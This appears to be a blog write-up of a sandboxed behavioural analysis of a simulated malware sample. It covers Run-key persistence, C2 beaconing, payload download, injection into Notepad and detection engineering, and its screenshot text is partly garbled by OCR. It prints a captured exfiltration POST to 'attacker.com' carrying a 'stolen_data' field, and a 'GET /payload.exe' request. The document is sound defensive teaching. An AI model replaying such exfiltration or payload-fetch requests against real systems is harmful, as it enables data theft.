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Static analysis provides a valuable starting point, but it rarely tells the complete story of what
a piece of malware is truly capable of.

Modern malware is designed to reveal its most dangerous behaviors only at runtime,
establishing persistence, communicating with attacker-controlled infrastructure, fetching
additional payloads, evading defensive controls, and exfiltrating sensitive data. Capturing and
understanding these behaviors requires observing the sample as it executes within a
controlled and monitored environment.
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To replicate the conditions of a real-world investigation, | constructed an isolated behavioral
analysis laboratory using FLARE-VM and REMnux, and subjected a simulated multi-stage
malware sample — walkthrough.exe — to a structured dynamic analysis workflow.

Rather than treating this as a tool demonstration, the investigation follows the same evidence-
driven methodology used by malware analysts, DFIR investigators, and SOC teams in
operational settings: collecting telemetry across multiple sources, correlating findings,
extracting Indicators of Compromise (IOCs), mapping observed behaviors to the MITRE
ATT&CK framework, and translating those observations into actionable detection
opportunities.

This article documents the investigation from initial execution through to final detection
engineering.

Why Behavioral Analysis Matters

Static analysis answers questions like:

+ What functions exist?
¢ Which strings are embedded?
¢ |s the binary packed?

Behavioral analysis answers a different set of questions:

+ How does the malware execute?

Does it establish persistence?

Does it communicate externally?

Does it retrieve additional payloads?

Does it inject into legitimate processes?

What indicators can defenders use to detect it?

These questions are often the difference between identifying a malicious file and
understanding an active compromise.

Building the Investigation Lab

Before executing any malware, a safe and isolated environment is essential.

The laboratory consisted of two virtual machines:
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Figure 1. Malware analysis laboratory consisting of FLARE-VM and REMnux connected through a Host-
Only network.

Communication occurred exclusively over a Host-Only VirtualBox network, ensuring the
malware could not reach the public Internet.
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Instead of allowing outbound connections, INetSim simulated Internet services while
FakeDNS redirected all DNS requests to REMnux.

This configuration allowed the malware to behave naturally without exposing external
systems.

Investigation Methodology

Rather than focusing on individual tools, | treated this analysis as a complete investigation.
Each observation had to answer an investigative question:

1. What happened?

2. Which tool observed it?

3. What evidence supports the finding?

4. What does it mean?

5. Can defenders detect it?

This methodology reduced assumptions and ensured every conclusion was supported by
evidence collected during execution.

Stage 1: Initial Execution

The sample executed successfully inside FLARE-VM.

Immediately after execution, new child processes appeared, indicating that the malware had
begun interacting with the operating system.

Process Explorer provided the first view of the execution chain.
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Figure 2. Process tree captured immediately after execution.

Stage 2: Registry Persistence

The next question was whether the malware could survive a reboot.
Using Procmon, registry modifications were filtered to display only RegSetValue operations.

This quickly revealed creation of a Run key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\FakeMalware

Rather than relying on one tool, the finding was validated using:

¢ Procmon
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e Sysmon Event ID 13
e Autoruns
e Regshot

Four independent sources confirmed the persistence mechanism.

Join Medium for free to get updates from this writer.
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This illustrates why evidence correlation is more valuable than trusting a single artifact.
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Figure 3. Registry value creation observed in Procmon.

6/15



Press enter or click to view image in full size

18] Event Viewer - O *
File Action View Help

| 2| B

» [ Shell-Core ~
» [7] ShellCommon-StartLayoutPopulation
» B SmartCard-fudit Dete and Time EventID Task Category
5 [ SmartCard-DeviceEnum (i)information  8/1/2026 7:31:53 AM Sysmon 22 Dns query (rule: DnsQuery) Open Saved Log...
3 [ SmanCard-TPM-VCard-Module (i)information  8/1/2026 :31:51 AM Sysmen 22 Dns query {rule: DnsQuery) W Create Custom View...
5 [ smantScreen (i)information  B/1/2026 7:31:50 AM Sysmon 3 MNetwork connection detected (rule: NetworkConnect) ;

- > import Custom View...
> [] SMBClient Jinformation  B/1/2026 7:31:49 AM Sysman 22 Dns query (rule: DnsQuery)
» [) sMBDirect Jinformation  B/1/2026 7:31:43 AM Sysman 3 Network connecticn detected (rule: NetworkConnect) ClearLog...
> I SuESener Jinformation  8/1/2026 7:31:48 AM Sysmon 22 Dns query (rule: DnsQuery) T Filter Current Log...
> [& sMBWitnessClient Jinformation  B/1/2026 :3147 AM Sysman 3 Metwork connection detected (rule: NetworkConnect) B Properties
> [ StateRepository Jinformation  8/1/2026 7:31:46 AM Sysmen 3 Network connection detected (rule: NetworkConnect) W Patel
> & Storage-Tiering Jinformation  B/1/2026 7:31:45 AM Sysman 22 Dns query (rule: DnsQuery) i
> . :"52‘;‘“‘9‘"““‘ Jinformation  8/1/2026 7:31:45 AM Sysmon 22 Dns query (rule: DnsQuery) @8 Find...
> L StorageSettings )information  8/1/2026 7:31:43 AM Sysmen 3 Network connection detected (rule: NetworkConnect) Tl Save Al Events Ac...
> [ StorageSpaces-Diiver D Informati S T3l Regtny vakoe St fruke RegityEvert)
5[5 StorageSpaces-ManagementAgent WHROIMEI non EELNy VALLIE S (T A Attach a Task To this Log...

) Information Sysmon 7 Image loaded (rule: Imagel.cad)

» [ StorageSpaces-SpaceManager N View »
> [ StorDiag )Information Sysman 7 Image loaded (rule: Imagel oad)
3 B Store )Information 8172026 7:31:31 AM Sysmon 7 Imege loaded (rule: Imagel.oad) G Refresh

[ . v
; Bisarot 201206 72121 AML < 2 _kmsnalosdad " Help »
> [ Storsve Event 13, Sysmon =

- Event 13, Sysmon a4
~ [ Sysmon ) Gl [oae . -

] Opesational [1] Event Properties

5 [ SystemSettingsThresheld 3
Ko Registry valus set T Attach Task To This Event...

- RuleName: technique_id=T1547.001 technique_name=Registry Run Keys / Start Folder By Co b
> & Teep EventType: SetValue -
3 [ TenantRestrictions tcTime: 2026-08-01 14:31:31.243 Jed Save Selected Events...
> [ Terminalsenvices- ClientActiveXCore uid: (28101362-0342-6atie-0101 @ Reesh
5 [ TerminalServices-ClientUs8Devices e
5[] TerminalServices-LocalSessionManager H Hep ’
> (& TerminalServices-PrPDevices it e \Desktop\ Course_MateriaN CourseMalware\walkthrough
5 [ TerminalServices-Printers User: DESKTOP-CSQSIES\pprice
5[] TerminalServices-RemoteConnectionMa
5[] TerminalServices-ServerUSBDevices
3 B Tome-Senive Log Name: Microsoft-Windows-Sysmon/Operational
5 [ Time-Service-PTP-Provider Source: Sysmon Logged: 8/1/2026 7:31:31 AM
» [ Troubleshooting-Recommended Event ID: 13 Task Category: Registry value set (rule: RegistryEvent)
> [ T8yne Leve: Information Keywords:
» [ T2l User: SYSTEM Computer:  DESKTOP-CSQEIES
3 B vAC OpCode Info
5 [5] UAC-FileVirtualization (e "

- Event Log Online Help
» [ Ul-Search ore:
o [ UniversalTelemetrvClient &2

< >
I Autoruns - Sysinternals: www.sysinternals.com - [m] X

File Search Entry Options Category Help

EEIODLR Al HEE> [Posne |

C Applnit l?b Known DLLs pp Winlegon Bl Winsock Providers % Print Menitors @ LSA Providers Q Network Providers = WMl 1l Office
B Evenything B Logon % Explorer & Internet Explorer Scheduled Tasks - Services G Drivers ) Codecs 62 BootExecute [1+ Image Hijacks
Autoruns Entry Description Publisher Image Path L)

L Logon
| B HKCU\SOFTWARE\Microsoff\Windows\CurrentVersion\Run

ile not found: python C:\Users\Wellick\D:

] @ OneDrive Microsoft OneDrive (Verified) Microsoft Corporation C:\Users\Wellick\AppData\Local\Microsof
| HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
[/] @ Delete Cached Standalone Update Binary Windows Command Processor (Verified) Microsoft Windows CAWindows\system32\cmd.exe
[4] B Delete Cached Update Binary Windows Command Processor (Verified) Microsoft Windows C:\Windows\system32\cmd.exe
ﬁ HKLM\System\CurrentCentrolSet\Control\Terminal Server\Wds\rdpwd\St pProg
A @ rdlpelip RDP Clipboard Monitor (Verified) Microsoft Windows CAWindows\system32\rdpclip.exe

a HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Figure 5. Autoruns identifying the startup entry.
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Figure 6. Regshot highlighting registry differences before and after execution.

Stage 3: Command-and-Control Communication

Once persistence was established, attention shifted to network behavior.

FakeDNS recorded multiple DNS requests generated by the sample, while Wireshark
captured outbound HTTP traffic redirected to REMnux.

Although the infrastructure was simulated, the observed behavior closely resembled real
command-and-control beaconing.

The malware attempted to:

* Resolve dynamically generated domains
o Establish outbound HTTP sessions

+ Retrieve additional resources

¢ Transmit collected information
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Figure 7. DNS requests redirected to REMnux.
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Figure 8. HTTP beaconing observed during execution.
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Stage 4: Secondary Payload Retrieval

One of the most interesting observations occurred when the malware requested an encrypted

payload.

Wireshark showed:

GET /payload.exe

The payload was extracted directly from the packet capture.

Although simulated, this accurately represents how analysts recover downloaded malware for

additional analy

Sis.
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Wireshark - Follow TCP Stream (tcp.stream eq 23) - walkthroughpcap.pcapng
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Accept: */*

connection: keep-alive
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Content-Type: x-msdos-program
Server: INetSim HTTP Server
Content-Length: 11776
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Figure 9. Retrieval of an encrypted second-stage payload.

Profile: Default
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Figure 10. Retrieval of a second-stage payload.

Stage 5: Process Injection

Many modern malware families inject into legitimate processes to evade detection.

API Monitor identified API activity associated with process injection, while Process Explorer
showed the target process.

The malware injected into Notepad.exe, allowing malicious code to execute under the context
of a trusted Windows process.
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Figure 11. API activity associated with process injection.

Stage 6: Data Exfiltration

Finally, Wireshark captured outbound HTTP POST requests consistent with simulated data

exfiltration.

Rather than viewing this as an isolated network event, the evidence was correlated with the
earlier execution chain to reconstruct the complete attack lifecycle:

Execution

i

Persistence

.
Command-and-Control
l

Payload Retrieval

13

Process Injection

i

Data Exfiltration

This chronological reconstruction mirrors how malware investigations are conducted in

enterprise DFIR engagements.
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Mapping the Investigation to MITRE ATT&CK

Host: attacker.com

User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, zstd

Accept: */*

Connection: keep-alive

Content-Length: 98

Content-Type: application/x-www-form-urlencoded

stolen_data=dXN1cjphZGipbiBuwYXNzd29yZDpwY) y
HTTP/1.1 208 0K

Date: Sun, 82 Aug 2626 18:05:38 GMT

Server: INetSim HTTP Server

Connection: Close
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Content-Type: text/html

XNBb3JI50nZpc210ZWQtc210255)b2e%3D

<html>
<head>
<title>INetSim default HTML page</title>
</head>
<body>
<p=</p>
<p align="center">This is the default HTML page for INetSim HTTP server fake mode.</p>
<p align="center">This file is an HTML document.</p>
</body>
</html>
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Figure 12. Simulated outbound data exfiltration.

One of the goals of behavioral analysis is translating observations into standardized
adversary techniques.
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Figure13. Mapping the Investigation to MITRE ATT&CK
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Using MITRE ATT&CK helps defenders communicate findings consistently across SOC,
DFIR, and threat hunting teams.

From Investigation to Detection Engineering

An investigation has limited value if the findings cannot be operationalized.
Using the collected evidence, | developed detection content including:

o Sigma rules

e Splunk SPL searches

¢ Microsoft Sentinel KQL queries
e YARA rules

These detections enable defenders to identify similar behaviors in production environments
rather than relying on file hashes alone.

Conclusion

Behavioral malware analysis extends far beyond observing a malicious executable. Itis a
disciplined investigative process that combines host telemetry, network captures, forensic
artifacts, and threat intelligence to reconstruct an attacker’s actions with confidence.

In this investigation, walkthrough.exe demonstrated a complete multi-stage execution chain
involving registry-based persistence, command-and-control communication, secondary
payload retrieval, process injection, and simulated data exfiltration. By correlating evidence
across Procmon, Sysmon, Wireshark, Autoruns, Regshot, Process Explorer, and API Monitor,
the investigation produced validated indicators of compromise, MITRE ATT&CK mappings,
and practical detection opportunities.

This project reflects the investigative workflow used by modern SOC, DFIR, and malware
analysis teams, where the goal is not only to understand malicious behavior but also to
convert those findings into actionable detections that strengthen defensive capabilities.

GitHub Repository

The complete investigation, evidence, detection rules, IOC datasets, and
documentation are available on GitHub.

If you find the project useful, consider starring the repository and sharing your
feedback.
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Repository: GitHub

Contact: Portfolio
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https://github.com/0x0allenace/windows-malware-behavioral-analysis
https://github.com/0x0allenace/SOC-Analyst-Portfolio?tab=readme-ov-file

